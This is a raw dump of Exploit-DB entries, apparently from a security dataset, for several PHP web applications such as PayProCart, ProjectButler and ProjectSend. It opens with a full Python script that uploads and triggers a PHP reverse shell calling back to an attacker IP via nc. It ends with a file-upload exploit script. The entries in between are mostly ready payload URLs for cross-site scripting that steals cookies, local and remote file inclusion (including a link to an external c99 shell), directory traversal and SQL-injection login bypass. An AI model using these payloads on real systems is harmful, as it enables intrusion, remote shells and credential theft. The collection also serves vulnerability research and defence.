deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49672
Description: Profiling System for Human Resource Management 1.0 - Remote Code Execution (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-03-19
Author: Christian Vierschilling

Exploit:
# Exploit Title: Profiling System for Human Resource Management 1.0 - Remote Code Execution (Unauthenticated)
# Date: 19-03-2021
# Exploit Author: Christian Vierschilling
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11222/profiling-system-human-resource-management.html
# Software Download: https://www.sourcecodester.com/download-code?nid=11222&title=Profiling+System+For+Human+Resource+Management+using+PHP%2FPDO+with+Source+Code
# Version: 1.0
# Tested on: PHP 7.4.14, Linux x64_x86

# --- Description --- #

# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.

# --- Proof of concept --- #

#!/usr/bin/python3
import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

def file_upload(target_ip, attacker_ip, attacker_port):
  random_number = str(random.randint(100000000,999999999))
  file_name = random_number + "shell.php"
  revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
  m = MultipartEncoder(fields={'upload': '', 'per_file': (file_name, revshell_string, 'application/x-php')})
  print("(+) Uploading php reverse shell file ..")
  r1 = requests.post('http://{}/ProfilingSystem/add_file_query.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})
  if not "Sorry, there was an error uploading your file." in r1.text:
    print("(+) File uploaded to: http://{}/ProfilingSystem/uploads/{}".format(target_ip,file_name))
    return file_name
  else:
    print("(-) Oh noes, error occured while uploading the file.. quitting!")
    exit()

def trigger_shell(target_ip, target_file_name):
  url = 'http://{}/ProfilingSystem/uploads/{}'.format(target_ip, target_file_name)
  print("(+) Now trying to trigger our shell..")
  r2 = requests.get(url)
  if r2.status_code != 200:
    print("(-) Oh noes, we can't reach the uploaded file.. did it upload correctly?! Quitting!")
    exit()
  else:
    return None

def main():
  if len(sys.argv) != 4:
    print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])
    print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])
    sys.exit(-1)

  print("--- Exploiting today: Profiling System for Human Resource Management 1.0 ---")
  print("----------------------------------------------------------------------------")
  target_ip = sys.argv[1]
  attacker_ip = sys.argv[2]
  attacker_port = sys.argv[3]

  target_file_name = file_upload(target_ip, attacker_ip, attacker_port)
  trigger_shell(target_ip, target_file_name)

  print("(+) done!")

if __name__ == "__main__":
  main()
Exploit-DB #11075
Description: ProfitCode Shopping Cart - Multiple Local/Remote File Inclusion Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-09
Author: Zer0 Thunder

Exploit:
# Author: Zer0 Thunder
# Site : http://www.profitcode.net/ - http://profbiz-cart.sourceforge.net/
# Tested on: Windows XP sp2 [WampServer 2.0i] 

- There are Cople of pages that has the LFI vuln
Vuln c0de : dl-authcontent.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 $returlvar = "dloads";
    include "$docroot" . "tplates/usrauthlogin.php";
    exit;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Exploit :
http://server/store/dloads/dloadsmainincs/dl-authcontent.php?docroot=[LFI]

Sample : 
http://server/store/dloads/dloadsmainincs/dl-authcontent.php?docroot=../../../../../boot.ini%00

***************************************************************************************************

vuln c0de : dl-maincatsearch-dlcontent.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
include("$docroot" . "shopincs/catpgtop$langFile.php");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit
http://server/store/dloads/dloadsmainincs/dl-maincatsearch-dlcontent.php?docroot=[LFI]

Sample
http://server/store/dloads/dloadsmainincs/dl-maincatsearch-dlcontent.php?docroot=../../../../../boot.ini%00


Vuln c0de : dloads-payed.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
include "$docroot" . "tplates/usrauthlogin.php";
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Exploit 
http://server/store/dloads/dloadstplates/dloads-payed.php?docroot=[LFI]

Sample 
http://server/store/dloads/dloadstplates/dloads-payed.php?docroot=.../../../../../../../../boot.ini%00


************************************************************************

- For Some resons this comeup with a RFI 

Vuln c0de :	dloads-header.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
include "$docroot" . "dloads/dloadsmainincs/inc-dloadsfunctions.php";
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Exploit 
http://server/store/dloads/dloads-header.php?docroot=[RFI]

Sample 
http://server/store/dloads/dloads-header.php?docroot=http://www.cfsm.cn/c99.txt?%00


########################################
# MSN : zer0_thunder@colombohackers.com
# Email : neonwarlock@live.com
# Site : LKHackers.com
# Greetz : To all my friends
# Note : Proud to be a Sri Lankan
# Me : Sri Lankan Hacker
########################################
Exploit-DB #25488
Description: ProfitCode Software PayProCart 3.0 - 'Username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-21
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13299/info

PayProCart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/path_to_store/index.php?modID=usrauthlogin&sgnuptype=csaleID&username=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&errorMsgNum=301
Exploit-DB #25337
Description: ProfitCode Software PayProCart 3.0 - 'Usrdetails.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-05
Author: Diabolic Crab

Exploit:
source: https://www.securityfocus.com/bid/13002/info

PayProCart is prone to a cross-site scripting vulnerability affecting the 'usrdetails.php' script.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

PayProCart version 3.0 is affected by this issue. Other versions may be affected as well. 

http://www.example.com/usrdetails.php?sgnuptype=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25490
Description: ProfitCode Software PayProCart 3.0 - AdminShop HDoc Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-21
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13305/info

PayProCart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/path_to_store/adminshop/index.php?hdoc=index%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25495
Description: ProfitCode Software PayProCart 3.0 - AdminShop MMActionComm Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-21
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13309/info

PayProCart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/path_to_store/adminshop/mmailer/index.php?mmactionComm=mmShowMailingLists%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25491
Description: ProfitCode Software PayProCart 3.0 - AdminShop ModID Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-21
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13306/info

PayProCart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/path_to_store/adminshop/index.php?modID=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25494
Description: ProfitCode Software PayProCart 3.0 - AdminShop ProMod Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-21
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13308/info

PayProCart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/path_to_store/adminshop/index.php?proMod=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25492
Description: ProfitCode Software PayProCart 3.0 - AdminShop TaskID Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-21
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13307/info

PayProCart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/path_to-store/adminshop/index.php?taskID=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25489
Description: ProfitCode Software PayProCart 3.0 - Ckprvd Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-21
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13303/info

PayProCart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/path_to_store/cart.php?chckoutaction=1&ckprvd=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25338
Description: profitcode software payprocart 3.0 - Directory Traversal
Type: webapps
Platform: php
Date: 2005-04-05
Author: Diabolic Crab

Exploit:
source: https://www.securityfocus.com/bid/13006/info

ProfitCode Software PayProCart may allow a remote attacker to carry out directory traversal attacks.

It is reported that this issue can be exploited by issuing a specially crafted HTTP GET request and supplying directory traversal sequences followed by a target file name through an affected parameter.

Reportedly, the attacker can gain access to file owned by the administrator and gain administrative access to the application by accessing the administrative panel. The attacker is able to gain access to the administrative panel without providing authentication credentials.

PayProCart versions 3.0 is affected by this issue. Other versions may be affected as well. 

http://www.example.com/adminshop/index.php?proMod=index&amp%3bftoedit=..%2fshopincs%2fmaintopENG
Exploit-DB #33098
Description: Programs Rating - 'postcomments.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35746/info
 
Programs Rating Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/rating/postcomments.php?id=1>'><ScRiPt %0A%0D>alert[PII_REDACTED]44)%3B</ScRiPt>
Exploit-DB #33097
Description: Programs Rating - 'rate.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35746/info

Programs Rating Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/rating/rate.php?id=1>'><ScRiPt %0A%0D>alert[PII_REDACTED]81)%3B</ScRiPt>
Exploit-DB #4669
Description: project alumni 1.0.9 - 'index.php?act' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-11-27
Author: tomplixsee

Exploit:
project alumni 1.0.9 remote file disclosure vulnerability
download : https://sourceforge.net/projects/project-alumni/

vulnerable code on index.php
include($_SERVER['DOCUMENT_ROOT'] . "/pages/" . $_GET['act'] . ".page.inc.php");

exploit :
http://victim/path/index.php?act=../../../../../../etc/passwd%00

discovered by tomplixsee

# milw0rm.com [2007-11-27]
Exploit-DB #5523
Description: Project Based Calendaring System (PBCS) 0.7.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-04-30
Author: GoLd_M

Exploit:
Project Based Calendaring System (PBCS) Version 0.7.1 Multiple Vulnerabilities
Script: http://www.pbcs.org/pbcs_download.php
Poc : 
Hi str0ke Thanx To Posted but I Want Add Some Vulns In This Script
1- remote file upload
http://localhost/pbcs-0.7.1-1/src/yopy_upload.php
after upload you can get you file on
http://localhost/pbcs-0.7.1-1//tmp/uploads/name your file
2- remote file disclosure
http://localhost/pbcs-0.7.1-1/src/yopy_sync.php?download_file=0&filename=../config/config.php
3- file disclosure
/plugins/system-logger/print_logs.php?filename=../../config/config.php

# milw0rm.com [2008-04-30]
Exploit-DB #11584
Description: Project Man 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-02-27
Author: cr4wl3r

Exploit:
##############################################################
##Project Man <= 1.0 (Auth Bypass) SQL Injection Vulnerability
##############################################################
Author: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
Download: http://sourceforge.net/projects/projectman1/files/
##############################################################
PoC:
 [Project Man_path]/login.php

Username: ' or '1=1 
password: ' or '1=1 
##############################################################
Exploit-DB #36660
Description: project-open 3.4.x - 'account-closed.tcl' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-03
Author: Michail Poultsakis

Exploit:
source: https://www.securityfocus.com/bid/51842/info

project-open is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/register/account-closed?message=[arbitrary-JavaScript]
Exploit-DB #25183
Description: ProjectBB 0.4.5.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-03-02
Author: benji lemien

Exploit:
source: https://www.securityfocus.com/bid/12709/info

ProjectBB is reportedly affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

As a result of these vulnerabilities, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of an unsuspecting user when followed. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/Zip/divers.php?action=liste&liste=&desc=&pages=[XSS]
Exploit-DB #25184
Description: ProjectBB 0.4.5.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-03-02
Author: benji lemien

Exploit:
source: https://www.securityfocus.com/bid/12710/info

ProjectBB is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to the application failing to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/Zip/divers.php?action=liste&liste=[SQL CODE]
http://www.example.com/Zip/divers.php?action =liste&liste=email&desc=[SQL CODE]&pages=1
Exploit-DB #2183
Description: ProjectButler 0.8.4 - 'rootdir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-14
Author: the master

Exploit:
########################################################################
#  projectbutler-0.8.4  Remote File Inclusion Vulnerability
#
#  Download: http://prdownloads.sourceforge.net/projectbutler/projectbutler-0.8.4.tar.gz?download
#
#  Found By: the master
#
########################################################################
#  exploit:
#
#  http://[Target]/[Path]/classes/Cache.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/Customer.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/Performance.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/Project.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/Representative.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/User.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/common.php?rootdir=http://cmd.gif?
########################################################################

# milw0rm.com [2006-08-14]
Exploit-DB #9331
Description: ProjectButler 1.5.0 - 'pda_projects.php?offset' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-08-03
Author: cr4wl3r

Exploit:
#projectbutler - 1.5.0 (offset) RFI Vulnerability

#Author: cr4wl3r

#Contact: cr4wl3r[4t]linuxmail[dot]org

#Download: http://sourceforge.net/projects/projectbutler/files/projectbutler/1.5.0/ProjectButler.tar.gz

#Vuln : require_once($offset."class.project.inc");

#PoC :

http://localhost/[path]/pda/pda_projects.php?offset=[AvriLhea]

#Greetz : MyMom [alm]

#Special To : |CyberSufi| |CyberPeaCe| |AgenR@t| |Ea.ngel| |bl4ck.3n91n3| |Hmei7| |Dew0| |Anjas.chu'X| |Ridwan|              

              |Funky_sensey| |zvtral| |Is.bl4nk| |Y0ps.512mb| |Clif| |HaKu Frisca| |All cRew GoRonTaLo UnDeRgounD|
              |SunKetzu AbbaSSia| |iY0ng| |MaTr0| |deviln3t| |RyO| RaIs R0yaS| |Vel!x| |AnaK2 BolMonG| |MarLoN|

# milw0rm.com [2009-08-03]
Exploit-DB #36194
Description: ProjectForum 7.0.1 3038 - 'more' Object HTML Injection
Type: webapps
Platform: php
Date: 2011-09-30
Author: Paul Davis

Exploit:
source: https://www.securityfocus.com/bid/49895/info

ProjectForum is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

ProjectForum 7.0.1.3038 is vulnerable; other versions may also be affected. 

http://www.example.com/<IMG """><SCRIPT>alert("Vulnerable")</SCRIPT>">
Exploit-DB #31229
Description: ProjectPier 0.8 - Multiple HTML Injection / Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-02-18
Author: L4teral

Exploit:
source: https://www.securityfocus.com/bid/27857/info

ProjectPier is prone to multiple HTML-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ProjectPier 0.8.0 is vulnerable; prior versions may also be affected.

http://www.example.com/projectpier/index.php?c=access"><script>alert('xss')</script>&a=login"><script>alert(document.cookie)</script>
Exploit-DB #35424
Description: ProjectSend r-561 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-12-02
Author: Fady Mohammed Osman

Exploit:
#!/usr/bin/python

# Exploit Title: ProjectSend r-651 File Upload
# Date: December 01, 2014
# Exploit Author: Fady Mohamed Osman (Exploit-db id:2986)
# Vendor Homepage: http://www.projectsend.org/
# Software Link: http://www.projectsend.org/download/67/
# Version: r-561
# Tested on: Kubuntu 14.10 x64


import sys
import requests
scriptName = sys.argv[0]
if (len(sys.argv) != 3):
  print "Please enter the target path and the file to upload."
  print "Example : " + scriptName + " http://10.0.0.2/ProjectSend-r561 c99.php"
  quit()
print "Exploiting ProjectSend-r561 File Upload .."
url = sys.argv[1] + "/" + 'process-upload.php' + '?name=' + sys.argv[2]
print "Sending Url " + url
files = {'file': open(sys.argv[2], 'rb')}
r = requests.post(url, files=files)
print r.text